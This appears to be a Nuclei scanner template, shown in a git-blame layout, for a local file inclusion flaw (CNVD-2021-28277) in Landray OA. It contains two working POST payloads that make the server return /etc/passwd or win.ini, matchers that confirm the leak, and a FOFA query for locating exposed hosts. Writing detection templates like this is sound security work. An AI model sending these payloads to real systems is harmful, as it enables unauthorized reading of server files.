2022-03-18 15:05:35 +00:00
|
|
|
id: CNVD-2021-28277
|
2021-05-02 04:42:37 +00:00
|
|
|
|
|
|
|
info:
|
2022-07-08 19:07:55 +00:00
|
|
|
name: Landray-OA - Local File Inclusion
|
2022-03-18 15:05:35 +00:00
|
|
|
author: pikpikcu,daffainfo
|
2021-05-02 04:42:37 +00:00
|
|
|
severity: high
|
2022-07-05 17:18:08 +00:00
|
|
|
description: Landray-OA is susceptible to local file inclusion.
|
2022-03-18 15:05:35 +00:00
|
|
|
reference:
|
|
|
|
- https://www.aisoutu.com/a/1432457
|
|
|
|
- https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
|
|
|
|
metadata:
|
|
|
|
fofa-query: app="Landray OA system"
|
2022-07-05 17:18:08 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
|
|
|
cvss-score: 8.6
|
|
|
|
cwe-id: CWE-22
|
2022-03-18 15:05:35 +00:00
|
|
|
tags: landray,lfi,cnvd,cnvd2021
|
2021-05-02 04:42:37 +00:00
|
|
|
|
|
|
|
requests:
|
2021-05-02 08:27:33 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: */*
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2021-05-02 08:28:47 +00:00
|
|
|
|
2021-05-02 08:27:33 +00:00
|
|
|
var={"body":{"file":"file:///etc/passwd"}}
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: */*
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2021-05-02 08:28:47 +00:00
|
|
|
|
2021-05-02 08:27:33 +00:00
|
|
|
var={"body":{"file":"file:///c://windows/win.ini"}}
|
2021-05-02 04:42:37 +00:00
|
|
|
|
2022-03-18 15:05:35 +00:00
|
|
|
stop-at-first-match: true
|
2021-05-02 04:42:37 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-05-02 08:27:33 +00:00
|
|
|
- "for 16-bit app support"
|
|
|
|
condition: or
|
2021-05-02 04:42:37 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2022-05-13 20:26:43 +00:00
|
|
|
- 200
|
2022-07-05 17:18:08 +00:00
|
|
|
|
2022-07-08 19:07:55 +00:00
|
|
|
# Enhanced by mp on 2022/07/06
|